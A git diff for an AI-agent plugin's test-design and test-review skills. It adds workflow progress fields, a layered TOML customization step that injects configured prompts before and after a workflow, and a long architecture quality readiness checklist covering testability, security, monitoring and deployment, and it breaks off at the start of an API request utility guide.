diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-02-load-context.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-02-load-context.md
index 8bf2d21..bba6397 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-02-load-context.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-02-load-context.md
@@ -2,7 +2,7 @@
 name: 'step-02-load-context'
 description: 'Load documents, configuration, and knowledge fragments for the chosen mode'
 nextStepFile: './step-03-risk-and-testability.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/test-design-progress.md'
 ---
 
@@ -212,8 +212,11 @@ Summarize what was loaded and confirm with the user if anything is missing.
 
   ```yaml
   ---
+  workflowStatus: 'in-progress'
+  totalSteps: 5
   stepsCompleted: ['step-02-load-context']
   lastStep: 'step-02-load-context'
+  nextStep: '{nextStepFile}'
   lastSaved: '{date}'
   ---
   ```
@@ -221,8 +224,11 @@ Summarize what was loaded and confirm with the user if anything is missing.
   Then write this step's output below the frontmatter.
 
 - **If `{outputFile}` already exists**, update:
+  - Set `workflowStatus: 'in-progress'`
+  - Set `totalSteps: 5`
   - Add `'step-02-load-context'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-02-load-context'`
+  - Set `nextStep: '{nextStepFile}'`
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section of the document.
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-03-risk-and-testability.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-03-risk-and-testability.md
index 7982b18..54f19c3 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-03-risk-and-testability.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-03-risk-and-testability.md
@@ -82,8 +82,11 @@ Summarize the highest risks and their mitigation priorities.
 
   ```yaml
   ---
+  workflowStatus: 'in-progress'
+  totalSteps: 5
   stepsCompleted: ['step-03-risk-and-testability']
   lastStep: 'step-03-risk-and-testability'
+  nextStep: '{nextStepFile}'
   lastSaved: '{date}'
   ---
   ```
@@ -91,8 +94,11 @@ Summarize the highest risks and their mitigation priorities.
   Then write this step's output below the frontmatter.
 
 - **If `{outputFile}` already exists**, update:
+  - Set `workflowStatus: 'in-progress'`
+  - Set `totalSteps: 5`
   - Add `'step-03-risk-and-testability'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-03-risk-and-testability'`
+  - Set `nextStep: '{nextStepFile}'`
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section of the document.
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-04-coverage-plan.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-04-coverage-plan.md
index 1c8d650..f3daa81 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-04-coverage-plan.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-04-coverage-plan.md
@@ -95,8 +95,11 @@ Define thresholds:
 
   ```yaml
   ---
+  workflowStatus: 'in-progress'
+  totalSteps: 5
   stepsCompleted: ['step-04-coverage-plan']
   lastStep: 'step-04-coverage-plan'
+  nextStep: '{nextStepFile}'
   lastSaved: '{date}'
   ---
   ```
@@ -104,8 +107,11 @@ Define thresholds:
   Then write this step's output below the frontmatter.
 
 - **If `{outputFile}` already exists**, update:
+  - Set `workflowStatus: 'in-progress'`
+  - Set `totalSteps: 5`
   - Add `'step-04-coverage-plan'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-04-coverage-plan'`
+  - Set `nextStep: '{nextStepFile}'`
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section of the document.
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-05-generate-output.md b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-05-generate-output.md
index ef3b548..2f7977f 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-05-generate-output.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/steps-c/step-05-generate-output.md
@@ -196,8 +196,11 @@ Summarize:
 
   ```yaml
   ---
+  workflowStatus: 'completed'
+  totalSteps: 5
   stepsCompleted: ['step-05-generate-output']
   lastStep: 'step-05-generate-output'
+  nextStep: ''
   lastSaved: '{date}'
   ---
   ```
@@ -205,8 +208,11 @@ Summarize:
   Then write this step's output below the frontmatter.
 
 - **If `{progressFile}` already exists**, update:
+  - Set `workflowStatus: 'completed'`
+  - Set `totalSteps: 5`
   - Add `'step-05-generate-output'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-05-generate-output'`
+  - Set `nextStep: ''`
   - Set `lastSaved: '{date}'`
   - Append this step's output to the appropriate section of the document.
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/test-design-architecture-template.md b/plugins/bmad/skills/bmad-testarch-test-design/test-design-architecture-template.md
index 2da6416..6bc9063 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/test-design-architecture-template.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/test-design-architecture-template.md
@@ -1,6 +1,9 @@
 ---
+workflowStatus: ''
+totalSteps: 5
 stepsCompleted: []
 lastStep: ''
+nextStep: ''
 lastSaved: ''
 workflowType: 'testarch-test-design'
 inputDocuments: []
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/test-design-qa-template.md b/plugins/bmad/skills/bmad-testarch-test-design/test-design-qa-template.md
index fda7bba..fb54bb9 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/test-design-qa-template.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/test-design-qa-template.md
@@ -1,6 +1,9 @@
 ---
+workflowStatus: ''
+totalSteps: 5
 stepsCompleted: []
 lastStep: ''
+nextStep: ''
 lastSaved: ''
 workflowType: 'testarch-test-design'
 inputDocuments: []
@@ -392,5 +395,5 @@ npx playwright test
 ---
 
 **Generated by:** BMad TEA Agent
-**Workflow:** `_bmad/tea/testarch/bmad-testarch-test-design`
+**Workflow:** `bmad-testarch-test-design`
 **Version:** 4.0 (BMad v6)
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/test-design-template.md b/plugins/bmad/skills/bmad-testarch-test-design/test-design-template.md
index fe30de7..30be2f3 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/test-design-template.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/test-design-template.md
@@ -1,6 +1,9 @@
 ---
+workflowStatus: ''
+totalSteps: 5
 stepsCompleted: []
 lastStep: ''
+nextStep: ''
 lastSaved: ''
 ---
 
@@ -340,5 +343,5 @@ lastSaved: ''
 ---
 
 **Generated by**: BMad TEA Agent - Test Architect Module
-**Workflow**: `_bmad/tea/testarch/bmad-testarch-test-design`
+**Workflow**: `bmad-testarch-test-design`
 **Version**: 4.0 (BMad v6)
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/SKILL.md b/plugins/bmad/skills/bmad-testarch-test-review/SKILL.md
index ed19b90..9ab5492 100644
--- a/plugins/bmad/skills/bmad-testarch-test-review/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-test-review/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-test-review
 description: 'Review test quality using best practices validation. Use when user says "lets review tests" or "I want to evaluate test quality"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-test-review --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-test-review --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/checklist.md b/plugins/bmad/skills/bmad-testarch-test-review/checklist.md
index b3baec5..4890839 100644
--- a/plugins/bmad/skills/bmad-testarch-test-review/checklist.md
+++ b/plugins/bmad/skills/bmad-testarch-test-review/checklist.md
@@ -143,7 +143,7 @@ Coverage criteria are intentionally excluded from this checklist.
 
 - [ ] page.route() before page.goto() validated
 - [ ] Race conditions detected (route after navigate)
-- [ ] waitForResponse patterns checked
+- [ ] Network wait patterns checked (`interceptNetworkCall` preferred over ad hoc `waitForResponse`)
 - [ ] Status assigned (PASS/WARN/FAIL)
 - [ ] Violations recorded with recommended fixes
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/customize.toml b/plugins/bmad/skills/bmad-testarch-test-review/customize.toml
new file mode 100644
index 0000000..550312f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-test-review
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-test-review.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-test-review.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
